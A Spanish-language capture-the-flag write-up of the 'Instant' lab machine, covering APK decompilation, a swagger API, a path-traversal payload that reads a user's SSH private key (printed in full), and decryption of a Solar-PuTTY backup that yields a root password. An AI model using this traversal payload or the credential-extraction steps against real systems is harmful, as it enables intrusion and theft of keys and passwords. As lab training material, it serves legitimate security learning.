# Instant (apk)

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FvJzgzViftMqZ5uq19rtP%2Fimage.png?alt=media&#x26;token=76f3c596-2bb2-4cb3-bad5-9464ba195f22" alt=""><figcaption></figcaption></figure>

```
nmap instant.htb -sSCV -Pn -T4
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F0Tksyx4YJZGQ9QsU3oCI%2Fimage.png?alt=media&#x26;token=42d0923c-0b75-430b-a229-ff6632b3d7e7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FbpN8bLMxqF6sBHki4U2M%2Fimage.png?alt=media&#x26;token=b8c17900-0642-474b-bf03-9882b810e632" alt=""><figcaption></figcaption></figure>

Se descargo una APK

Analizamos la APK:

```
apktool d instant.apk
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FwY2OdS4BNCYWGzSHNN0A%2Fimage.png?alt=media&#x26;token=5464fa9b-0782-4983-b19c-6c8a732de7e9" alt=""><figcaption></figcaption></figure>

Los archivos APK descompilados eran una mina de oro. Empecé en el directorio “ **/smali/com/instantlab/instant** ” y me concentré en “ **AdminActivities.smali** ”, un archivo probablemente relacionado con acciones de administración. En el interior, encontré un token JWT codificado de forma rígida e integrado para el usuario administrador. Este token parecía utilizarse para la autenticación, un caso clásico de prácticas de seguridad débiles en aplicaciones móviles.

`network_security_config.xml`Subdominio encontrado en

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FDqS5tM4sL6uZQlfHGrvX%2Fimage.png?alt=media&#x26;token=9ec5c121-297c-4945-a861-4c6bdf2ec363" alt=""><figcaption></figcaption></figure>

Ahora hacemos la busqueda al subdominio:

```
┌──(docker㉿docker)-[~/HackBox/instant/res/xml]
└─$ dirsearch -u "swagger-ui.instant.htb" -t 50 
```

```
❯ dirsearch -u "swagger-ui.instant.htb" -t 50                                                               ⏎
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict
 
  _|. _ _  _  _  _ _|_    v0.4.3                                                                              
 (_||| _) (/_(_|| (_| )                                                                                       
                                                                                                              
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
 
Output File: /home/kali/Instant/reports/_swagger-ui.instant.htb/_24-12-20_15-21-03.txt
 
Target: http://swagger-ui.instant.htb/
 
[15:21:03] Starting:                                                                                          
[15:21:18] 308 -  263B  - /apidocs  ->  http://swagger-ui.instant.htb/apidocs/
[15:21:36] 403 -  287B  - /server-status                                    
[15:21:36] 403 -  287B  - /server-status/                                   
                                                                             
Task Completed  
```

Entramos al directorio encontrado:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F1YtBIOq1kgNCOPHWIq3j%2Fimage.png?alt=media&#x26;token=c226d458-e471-4384-89f9-22361b1ced79" alt=""><figcaption></figcaption></figure>

```
└─$ TOKEN=$(curl -s -X POST "http://swagger-ui.instant.htb/api/v1/login" \
-H "accept: application/json" \
-H "Content-Type: application/json" \
-d "{ \"password\": \"hyh\", \"username\": \"hyh\"}" | jq -r '.["Access-Token"]')

echo $TOKEN

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6OCwicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6ImIxN2Q2ZmFhLTZmZGYtNDE0ZS04N2Q1LTMwZmNkZDBjZTNkNiIsImV4cCI6MTczNTE3MTgzNn0.IIJ41LWJDdAZggF4SU2Kj5JCTPpBqcXv7aVmXIbmWXc

```

```
../../../../../../../home/shirohige/.ssh/id_rsa
 
{
  "/home/shirohige/logs/../../../../../../../home/shirohige/.ssh/id_rsa": [
    "-----BEGIN OPENSSH PRIVATE KEY-----\n",
    "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\n",
    "-----END OPENSSH PRIVATE KEY-----\n"
  ],
  "Status": 201
}
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FtIexwqY8UekZDyPkIkoA%2Fimage.png?alt=media&#x26;token=d8b7412f-addd-4ada-9490-30622410d1ff" alt=""><figcaption></figcaption></figure>

### Escalada de privilegios <a href="#header-id-6" id="header-id-6"></a>

Encontré un archivo de base de datos

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FLgMQKOwEk7O2PESfV6N3%2Fimage.png?alt=media&#x26;token=2878e741-2744-43a8-927f-f3c1ee2e4347" alt=""><figcaption></figcaption></figure>

Como no lo hay `nc`, utilícelo `scp`para descargar archivos de forma remota

* Con este comando descargamos el .db

```
scp -i shirohige_key shirohige@instant.htb:/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db ./  
```

Obtener el hash de contraseña de administrador

* Lo visualizamos con sqlite3:

```
┌──(docker㉿docker)-[~/HackBox/instant/res/xml]
└─$ sqlite3 instant.db                   
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
```

* Se obtiene un hash SHA-256 del administrador:

```
sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978
```

Sin embargo, dado que este algoritmo requiere relativamente tiempo, no debería ser posible destruirlo directamente.

Encontré `/opt`un archivo de respaldo en

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F7RRl1ShESY16wKzOB9ey%2Fimage.png?alt=media&#x26;token=e4886e26-0244-477d-81c3-77e6d7c2600d" alt=""><figcaption></figcaption></figure>

y un `Github`script de descifrado para .dat:

{% embed url="<https://github.com/Dimont-Gattsu/SolarPuttyDecrypterPy>" %}

```
┌──(myenv)─(docker㉿docker)-[~/HackBox/instant/res/xml]
└─$ python3 python.py sessions-backup.dat /usr/share/wordlists/rockyou.txt
```

```
┌──(myenv)─(docker㉿docker)-[~/HackBox/instant/res/xml]
└─$ cat SolarPutty_sessions_decrypted_estrella.bin 
```

Se encontro:

```
�uY��D���ȀpB��U�;�)�Ins":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"ConnectionType":1,"SessionName":"Instant","Authentication":0,"CredentialsID":"452ed919-530e-419b-b721-da76cbe8ed04","AuthenticateScript":"00000000-0000-0000-0000-000000000000","LastTimeOpen":"0001-01-01T00:00:00","OpenCounter":1,"SerialLine":null,"Speed":0,"Color":"#FF176998","TelnetConnectionWaitSeconds":1,"LoggingEnabled":false,"RemoteDirectory":""}],"Credentials":[{"Id":"452ed919-530e-419b-b721-da76cbe8ed04","CredentialsName":"instant-root","Username":"root","Password":"12**24nzC!r0c%q12","PrivateKeyPath":"","Passphrase":"","PrivateKeyContent":null}],"AuthScript":[],"Groups":[],"Tunnels":[],"LogsFolderDestination":"C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"}  
```

Contraseña:

|   | username：root                |
| - | ---------------------------- |
|   | password：12\*\*24nzC!r0c%q12 |

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FyUAswHyXGkRCUpRcPOG3%2Fimage.png?alt=media&#x26;token=19797eac-04f7-4dd9-9a1f-dd1df527f77f" alt=""><figcaption></figcaption></figure>

### Resumen <a href="#header-id-7" id="header-id-7"></a>

`User`: Primero realice `APK`un análisis y busque la información del nombre del subdominio en el archivo de configuración de la red. El mecanismo de autenticación es el token JWT utilizado. Para encontrar `JWT`la clave generada o el ejemplo de `token`, `APK`buscamos globalmente en el paquete y `admin`lo obtuvimos `token`. Hay un recorrido de directorio en la ruta para leer registros, lo que conduce a la lectura de archivos arbitrarios, leyendo directamente la `SSH`clave privada del usuario filtrado para iniciar sesión.

`Root`: Lo que es inusual es que no se trata `hashcat`de una explosión de contraseña. Quizás sea porque la dificultad de la explosión `PBKDF2-SHA256`me llevó a buscar por todas partes formas de explotar. Finalmente, volví al archivo de respaldo e intenté usar un script para descifrarlo y obtener la contraseña.`session-backup.datinstant.dbhashSolar-Putty`
